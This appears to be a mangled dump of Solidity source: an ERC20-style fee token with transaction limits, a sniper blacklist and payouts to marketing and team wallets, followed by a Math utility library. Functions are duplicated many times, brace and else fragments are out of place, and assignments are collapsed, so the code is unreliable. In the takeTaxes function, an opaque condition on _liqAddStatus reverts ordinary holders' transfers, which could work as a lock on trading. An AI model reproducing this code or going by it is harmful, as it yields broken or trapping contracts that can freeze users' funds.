require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply.");
_maxTxAmount = check;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Must be above 0.1% of total supply.");
_maxWalletSize = check;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
_marketingWallet = payable(marketingWallet);
_teamWallet = payable(teamWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != DEAD
&& to != address(0)
&& from != address(this);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
} else {
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_liquidityRatio + _marketingRatio + _devRatio == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio));
_teamWallet.transfer(address(this).balance);
}
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_liquidityRatio + _marketingRatio + _devRatio == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio));
_teamWallet.transfer(address(this).balance);
}
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_liquidityRatio + _marketingRatio + _devRatio == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio + _devRatio)) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer(((currentBalance - liquidityBalance) * _marketingRatio) / (_marketingRatio + _devRatio));
_teamWallet.transfer(address(this).balance);
}
}
function swapTokensForEth(uint256 tokenAmount) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
address(this),
tokenAmount,
DEAD,
block.timestamp
);
}
dexRouter.addLiquidityETH{value: ethAmount}(
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 2) {
_liqAddBlock = block.number + 5000;
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 2) {
_liqAddBlock = block.number + 5000;
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 2) {
_liqAddBlock = block.number + 5000;
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
} else {
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
} else {
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniperOrBlacklisted[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
currentFee = _sellFee;
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
currentFee = _sellFee;
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
currentFee = _sellFee;
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
} else if (to == lpPair) {
} else {
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
currentFee = _sellFee;
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(block.timestamp - buyLog[to] >= buyCoolDown, "Buy cooldown");
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
currentFee = _sellFee;
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
}
| 1,652,817
|
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2
] |
./full_match/1/0xd15563162301EcD765bFB54eBd0809b21932C506/sources/contracts/openzeppelin/Math.sol
|
* @dev Standard math utilities missing in the Solidity language./
|
library Math {
enum Rounding {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(
uint256 a,
uint256 b,
bool roundUp
) internal pure returns (uint256) {
return roundUp ? divUp(a, b) : divDown(a, b);
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
return 1 + (a - 1) / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
return 1 + (a - 1) / b;
}
}
} else {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
require(denominator > prod1);
uint256 remainder;
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
uint256 twos = denominator & (~denominator + 1);
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
prod0 |= prod1 * twos;
uint256 inverse = (3 * denominator) ^ 2;
result = prod0 * inverse;
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding
) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding
) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
uint256 result = 1 << (log2(a) >> 1);
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
